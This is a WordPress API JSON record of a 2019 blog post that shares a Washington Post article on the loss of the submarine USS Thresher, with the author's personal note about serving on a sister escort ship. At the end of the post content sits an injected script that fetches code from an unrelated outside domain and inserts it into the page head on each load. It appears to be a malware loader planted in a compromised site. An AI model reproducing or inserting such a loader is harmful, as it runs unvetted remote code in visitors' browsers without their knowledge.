{"id":579,"date":"2019-09-27T21:54:37","date_gmt":"2019-09-28T04:54:37","guid":{"rendered":"https:\/\/historynet.net\/?p=579"},"modified":"2019-09-27T21:54:37","modified_gmt":"2019-09-28T04:54:37","slug":"wp-the-nuclear-submarine-thresher-was-said-to-be-americas-best-then-tragedy-struck","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2019\/09\/27\/wp-the-nuclear-submarine-thresher-was-said-to-be-americas-best-then-tragedy-struck\/","title":{"rendered":"WP: The nuclear submarine Thresher was said to be America\u2019s best. Then tragedy struck."},"content":{"rendered":"<p>Never knew the full story of this. On a personal note, the escorts ship USS Skylark (ASR-20) was of the same class as the USS Sunbird (ASR-15) that I would serve on nearly 20 years later. In the photo, the Skylark is on the left and the Sunbird on the right.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-580\" src=\"https:\/\/historynet.net\/wp-content\/uploads\/2019\/09\/skylark-sunbird-300x88.jpg\" alt=\"\" width=\"648\" height=\"190\" \/><\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<blockquote class=\"embedly-card\" data-card-type=\"article-full\" data-card-key=\"0aeedbb5219f4affa47f14d667339550\">\n<h4><a href=\"https:\/\/www.washingtonpost.com\/history\/2019\/09\/26\/nuclear-submarine-thresher-was-said-be-americas-best-then-tragedy-struck\/\">The nuclear submarine Thresher was said to be America&#8217;s best. Then tragedy struck.<\/a><\/h4>\n<p>Tom Wiley was sitting in his dorm room at Purdue University listening to his transistor radio when he heard about the missing submarine. The radio hadn&#8217;t been working lately, but his roommate got it on just as word came about the USS Thresher. Wiley&#8217;s big brother, John Joseph, &#8220;JJ,&#8221; was a 23-year-old officer on the submarine.<\/p><\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\" charset=\"UTF-8\"><\/script><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Never knew the full story of this. On a personal note, the escorts ship USS Skylark (ASR-20) was of the same class as the USS Sunbird (ASR-15) that I would serve on nearly 20 years later. In the photo, the Skylark is on the left and the Sunbird on the right. &nbsp; The nuclear submarine [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":581,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[14,17],"tags":[],"class_list":["post-579","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-history-matters","category-main"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/579","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=579"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/579\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=579"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=579"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=579"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}